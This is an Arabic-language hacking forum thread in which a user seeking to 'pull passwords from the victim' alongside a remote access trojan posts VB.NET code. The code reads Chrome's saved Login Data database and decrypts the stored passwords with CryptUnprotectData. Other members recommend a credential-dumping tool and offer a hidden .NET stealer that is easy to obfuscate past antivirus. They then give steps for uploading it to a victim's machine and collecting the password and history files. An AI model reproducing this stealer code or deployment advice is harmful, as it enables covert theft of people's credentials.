تمت الإجابة [vb.net] ملف بيانات المتصفح لسحب الباسوردات

تم تحميل الصفحة في 0,8511997 ثانية
[vb.net] ملف بيانات المتصفح لسحب الباسوردات
الحالة
مغلق و غير مفتوح للمزيد من الردود.

الغراب

Beginner Developer
rank
إنضم
1 أغسطس 2016
المشاركات
78
الإعجابات
27
النقاط
18
السلام عليكم يا جماعة
مشكل سحب الباسورد من الضحية
أنا جربت برنامج اختراق مختلف عن النجرات و يخرج الباسورد تمام
لكن النجرات لا يفعل
لذلك أنا أبحث عن سورس كود استخراج الباسوردات من الضحية و شخصيا هذا السورس الموجود



كود:
   Public Sub GetChrome()
        Dim datapath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Login Data"

        Try
            Dim SQLDatabase As Object = New SQLiteHandler(datapath)
            SQLDatabase.ReadTable("logins")

            If File.Exists(datapath) Then

                Dim host As String
                Dim User As String
                Dim pass As String

                For i As Integer = 0 To SQLDatabase.GetRowCount() - 1 Step 1
                    host = SQLDatabase.GetValue(i, "origin_url")
                    User = SQLDatabase.GetValue(i, "username_value")
                    pass = Decrypt(System.Text.Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "password_value")))

                    If (User <> "") And (pass <> "") Then

                        text += host & "|Chrome|" & User & "|" & pass & vbCrLf

                    End If
                Next
            End If
        Catch
        End Try
    End Sub

لكن من الواضح أنه يوجد مشكل في هذا السورس
و هل يوجد نسخة لاستخراج باسوردات الفايرفوكس و غيروا

فقط أردت ارفاق صورة حول ملف البيانات التابع لقوقل و هذا مساره

Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Login Data"

يمكنكم ايجاده في حواسيبكم اذا كنتم تستعملون قوقل و هذا الملف بدون امتداد
يمكنك فتحه بمتصفح بيانات


و كما توضح الصورة فنوع البيانات في جدول ال logins في خانة ال password
هو بامتداد Blog
 

الغراب

Beginner Developer
rank
إنضم
1 أغسطس 2016
المشاركات
78
الإعجابات
27
النقاط
18
وهذه فنكشن فك تشفير بايانات الباسورد و الواضح أنها لاتعمل

كود:
        Function Decrypt(ByVal Datas() As Byte) As String
            Dim inj, Ors As New DATA_BLOB
            Dim Ghandle As GCHandle = GCHandle.Alloc(Datas, GCHandleType.Pinned)
            inj.pbData = Ghandle.AddrOfPinnedObject()
            inj.cbData = Datas.Length
            Ghandle.Free()
            CryptUnprotectData(inj, Nothing, Nothing, Nothing, Nothing, 0, Ors)
            Dim Returned() As Byte = New Byte(Ors.cbData) {}
            Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData)
            Dim TheString As String = Encoding.Default.GetString(Returned)
            Return TheString.Substring(0, TheString.Length - 1)
        End Function
 

الغراب

Beginner Developer
rank
إنضم
1 أغسطس 2016
المشاركات
78
الإعجابات
27
النقاط
18
تفضل اخي
AlessandroZ/LaZagne

من هنا راح تفهم كيفية استخارج الباسورودات وان شاء الله تقدر تترجمها للغة البرمجة الي تريدها
شكرا جزيلا لك و بارك الله فيك
لكنها أداة مبرمجة بلغة البايثون و من الصعب على مبتدئ مثلي ادراجها في كود دوت نت
و مش عارف اذا أنت ملاحظ أخي الكريم أنو هذي الأداة لو رفعتها في جهاز الضحية
راح يحذفها الانتي فايروس مباشرة لأنها مكشوفة
 
إنضم
2 أغسطس 2017
المشاركات
167
الإعجابات
126
النقاط
43
الإقامة
Anbar , Iraq
عليكم السلام
يوجد اداة بسيطة تعمل بشكل مخفي وقوية جدا في سحب جميع الباسوردات
الاداة من برمجة احد الاخوة في الديف بوينت
اذا يفيدك هذا الشي حت اخلي الك رابط الموضوع بالاضافة الى انو مبرمجه بالدوت نت مما يسهل تشفيرها وفهم اكوادها :91:
 

الغراب

Beginner Developer
rank
إنضم
1 أغسطس 2016
المشاركات
78
الإعجابات
27
النقاط
18
عليكم السلام
يوجد اداة بسيطة تعمل بشكل مخفي وقوية جدا في سحب جميع الباسوردات
الاداة من برمجة احد الاخوة في الديف بوينت
اذا يفيدك هذا الشي حت اخلي الك رابط الموضوع بالاضافة الى انو مبرمجه بالدوت نت مما يسهل تشفيرها وفهم اكوادها :91:
بارك الله فيك هذا ما أبحث عنه .. اذا ممكن رابط الأداة
 
إنضم
2 أغسطس 2017
المشاركات
167
الإعجابات
126
النقاط
43
الإقامة
Anbar , Iraq

الغراب

Beginner Developer
rank
إنضم
1 أغسطس 2016
المشاركات
78
الإعجابات
27
النقاط
18
تفضل
أداة استخراج كلمات مرور و تاريخ الفايرفوكس و الكروم

ارفع الاداة بجهاز الضحية
بعدها سوي run للاداة
بعدها Refresh
رح يظهرلك ملفين pass , history
تاريخ وملف الباسوردات <3
بارك الله فيك ممتاز جدا هذه الأداة تفي بالغرض
رغم أنني أبحث عن سورس دوت نت لكنها ممتازة جدا
 

الغراب

Beginner Developer
rank
إنضم
1 أغسطس 2016
المشاركات
78
الإعجابات
27
النقاط
18
الحالة
مغلق و غير مفتوح للمزيد من الردود.

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل